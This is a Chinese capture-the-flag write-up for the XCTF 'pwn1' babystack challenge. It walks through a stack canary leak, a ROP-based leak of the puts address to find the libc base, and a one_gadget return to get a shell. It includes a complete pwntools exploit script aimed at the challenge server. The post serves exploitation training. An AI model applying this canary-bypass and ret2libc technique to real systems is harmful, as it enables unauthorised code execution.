标签：攻防 pwn1 p64 puts 题解 canary 地址 sh execve
攻防世界 pwn1 题解
下载附件，file命令识别文件为64位，checksec命令查看程序保护情况，如图，有Canary和NX保护。
在ida64中打开程序，程序的主要功能有两个：
- 存储用户输入的字符串内容
- 打印用户输入的字符串内容
特别的注意到，字符串数组大小为136(0x88)，而read运行的最大输入大小为0x100，如图中红色框标注，因此可能存在栈溢出。同时puts可以将输入打出，因此可以想到借此泄露出canary值。
在汇编程序40091C地址处，可以看到canary值保存在rbp上8字节处（即紧邻rbp)。
GCC的canary，x86_64下从fs:0x28偏移处获取，32位下从gs:0x14偏移处获取
解题思路
1.Canary泄露
canary泄露原理：canary最低位设计为\x00，目的为截断字符串。通过缓冲区溢出将canary最低位截断字符\x00覆盖，然后通过puts函数可以将输入的字符串连带剩余的canary数据输出，canary最低字节补\x00即泄露出canary值。
2.栈溢出准备
Canary泄露后就可以进行栈溢出操作。通过one_gadget可以找到execve在动态链接库中的地址。
所以思路是通过puts泄露一个函数(puts)地址，进而找到链接库基址，与上面得到的execve地址相加得到其在程序中的地址。
3.栈溢出构造
得到execve在程序中地址后，就可以构造shellcode，将返回地址替换为execve。
'A'*136 + [Canary] + [fake ebp] + [execve addr]
具体实现
1.Canary获取
sh = remote('***.***.***.***',****)
sh.sendlineafter('>> ','1') # 选择1,存储输入字符串
sh.sendline('A'*0x88)
通过向程序输入0x88字节数据抵达canary上方，最后还有一个字符\n可将canary最低位\x00覆盖，然后使用puts输出。
sh.sendlineafter('>> ','2') # 选择2，输出字符串
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00')) ## 对canary解析
2.获取execve地址
获取canary后可利用puts函数构造栈溢出shellcode泄露出puts函数在程序中的地址。
利用puts函数输出需要设置一个参数，需要pop rdi的gadget，利用ROPgadget寻找相关gadget。
ROPgadget --binary babystack --only "pop|ret" | grep "rdi"
如图，可以看到在地址0x400a93处有我们想要的gadget：pop rdi ; ret
可通过pwntool中的ELF加载程序，获取puts@got和puts@plt地址。
elf = ELF('./babystack')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
我尝试通过symbols获取main函数地址失败了，但从ida中可以得到，如图，main函数地址为0x400908。
到此，我们可以构造栈溢出shellcode来泄露puts在程序中的地址了：
'A'*0x88 + [Canary] + 'B'*8 + [pop_rdi_addr] + [puts_got_addr] + [puts_plt_addr] + [main_addr]
具体程序代码如下：
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3') # 执行退出操作，从而让程序执行我们的指令
real_puts = u64(sh.recv(6).ljust(8,b'\x00')) # 解析puts函数地址
题目提供了链接库，获取puts在程序中地址后，可计算出链接库基址，进而获取我们需要的命令execve的地址。
libc = ELF('./libc-2.23.so')
base = real_puts - libc.symbols['puts']
execve = base + 0x45216 # 0x45216为上面通过one_gadget找到的execve地址
3.获取shell
做好所有准备工作后，就可以构造payload进行溢出了。
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
所有的代码如下：
from pwn import *
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400908
pop_rdi = 0x400a93
sh = remote('61.147.171.105',62498)
# 泄露canary地址
sh.sendlineafter('>> ','1')
sh.sendline(b'A'*0x88)
sh.sendlineafter('>> ','2')
sh.recvuntil('A\n')
canary = u64(sh.recv(7).rjust(8,b'\x00'))
print(hex(canary))
# 泄露puts函数实际地址
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
real_puts = u64(sh.recv(6).ljust(8,b'\x00'))
print(hex(real_puts))
# 获取execve实际地址
base = real_puts - libc.symbols['puts']
execve = base + 0x45216
# 构造payload溢出获取shell
payload = b'A'*0x88 + p64(canary) + b'B'*8 + p64(execve)
sh.sendlineafter('>> ','1')
sh.sendline(payload)
sh.sendlineafter('>> ','3')
sh.interactive()
执行完后即可获得shell，获得flag。
标签：攻防,pwn1,p64,puts,题解,canary,地址,sh,execve 来源： https://www.cnblogs.com/C0ngvv/p/16653910.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。